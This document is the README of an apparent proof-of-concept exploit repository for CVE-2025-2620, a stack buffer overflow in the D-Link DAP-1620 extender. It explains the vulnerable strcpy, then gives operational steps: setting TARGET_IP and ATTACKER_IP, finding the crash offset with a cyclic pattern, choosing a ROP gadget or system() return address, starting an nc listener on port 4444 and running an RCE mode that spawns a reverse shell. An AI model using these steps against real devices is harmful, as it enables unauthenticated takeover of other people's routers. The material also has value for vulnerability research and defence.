CVE-2025-2620 Proof-of-Concept Exploit

Overview

This repository contains an advanced proof-of-concept (PoC) exploit for CVE-2025-2620, a critical stack-based buffer overflow vulnerability discovered in the D-Link DAP-1620 router running firmware version 1.03. This vulnerability allows unauthenticated remote attackers to crash the router’s web server (Denial-of-Service, DoS) and potentially execute arbitrary code (Remote Code Execution, RCE).

The purpose of this project is to demonstrate exploit development skills.

Vulnerability Details

CVE Description

CVE-2025-2620 affects the D-Link DAP-1620 router’s mod_graph_auth_uri_handler function, specifically within the /storage endpoint. The vulnerability is caused by improper bounds checking, allowing an attacker to send a large input that exceeds the allocated buffer size, leading to a stack-based buffer overflow.

Impact

• Denial-of-Service (DoS): Crashes the router’s HTTP server, making it unresponsive until a reboot.
• Remote Code Execution (RCE): Attackers can overwrite the return address and execute arbitrary code on the router’s MIPS-based architecture.
• No Authentication Required: The vulnerability can be triggered remotely without credentials, increasing its severity.

Technical Breakdown

The vulnerable function processes an authentication parameter (auth) from HTTP requests:

void mod_graph_auth_uri_handler(char *input) {
    char buffer[512];  // Fixed-size stack buffer
    strcpy(buffer, input);  // No length check, causes overflow
    // Process authentication...
}

An attacker sending an oversized payload (e.g., 1024+ bytes) overwrites adjacent memory, including the function’s return address, potentially leading to code execution.

CVSS v3.1 Score: 9.8 (Critical)

Metric	Value
Attack Vector	Network
Attack Complexity	Low
Privileges Required	None
User Interaction	None
Confidentiality Impact	High
Integrity Impact	High
Availability Impact	High

Affected Devices

The D-Link DAP-1620 is a Wi-Fi range extender with the following specifications:

• CPU: Realtek RTL8197F (MIPS 24Kc, ~600 MHz)
• RAM: 64 MB
• Flash: 16 MB
• Wi-Fi: Dual-band 802.11ac
• Firmware: 1.03 (confirmed vulnerable)

Other D-Link routers/extenders with similar firmware may also be affected.

Disclosure Timeline

• March 22, 2025 – CVE-2025-2620 published on NVD/MITRE.
• March 22, 2025 – This PoC developed and tested.
• March 22, 2025 – No official patch from D-Link as of this date.

PoC Exploit Details

Features

Combined PoC – Includes both buffer overflow testing and RCE exploit.
Stack-based buffer overflow test – Identifies vulnerable routers.
Full remote code execution (RCE) exploit – Spawns a reverse shell.
Configurable payload size & return address – Adaptable for different router models.
Enhanced Debugging – Logs crash offsets to refine exploit parameters.

Installation & Usage

Step 1: Clone the Repository

git clone https://github.com/Otsmane-Ahmed/CVE-2025-2620-poc.git
cd CVE-2025-2620-poc

Step 2: Install Dependencies

Ensure you have Python3 and pwntools installed:

pip install pwntools

Step 3: Configure the Exploit

Modify the CVE-2025-2620_poc.py script:

Set the router’s IP:

TARGET_IP = "192.168.0.1"  # change to match your router

Set your attack machine’s IP:

ATTACKER_IP = "192.168.0.100"  # change to your local IP
ATTACKER_PORT = 4444  # change if needed

Adjust buffer size if needed:

BUFFER_SIZE = 8000  # Increase if the router does not crash

Find EIP offset and set return address:

Step 1: Send a Cyclic Pattern

Modify the PoC to generate a unique pattern and send it:

MODE = "overflow"  # Set to "overflow" to find the offset

Run the script:

python3 CVE-2025-2620_poc.py

Step 2: Check the Crash Address

After crashing the router, check the segfault address (EIP on x86 or RA on MIPS) from:

• Router logs
• Debugger (gdb)
• dmesg | grep 'segfault'

Look for an address like 0x61616161 (which means part of the cyclic pattern overwrote the return pointer).

Step 3: Find the Offset

Use cyclic_find to locate the exact offset:

from pwn import cyclic_find
print(cyclic_find(0x61616161))  # Replace with the crash address

This gives the exact OFFSET value. Update your PoC:

OFFSET = <FOUND OFFSET>  # Replace with the actual number

Step 4: Find a Suitable Return Address (RET_ADDR)

• Option 1: Find a JMP or CALL Gadget

  ROPgadget --binary vulnerable_binary | grep "jmp"

  Pick an address that jumps to a register (e.g., jmp $sp or jmp $ra).

• Option 2: Use a ret2libc Address Find the address of system() in libc:

  objdump -D /lib/libc.so.6 | grep "system"

  Then, use it as RET_ADDR:

  RET_ADDR = struct.pack("<I", 0xdeadbeef)  # Replace with actual address

Step 4: Start a Listener

nc -lvnp 4444

Step 5: Run the Exploit

python3 CVE-2025-2620_poc.py --mode rce

Developed with ❤️ by Otsmane Ahmed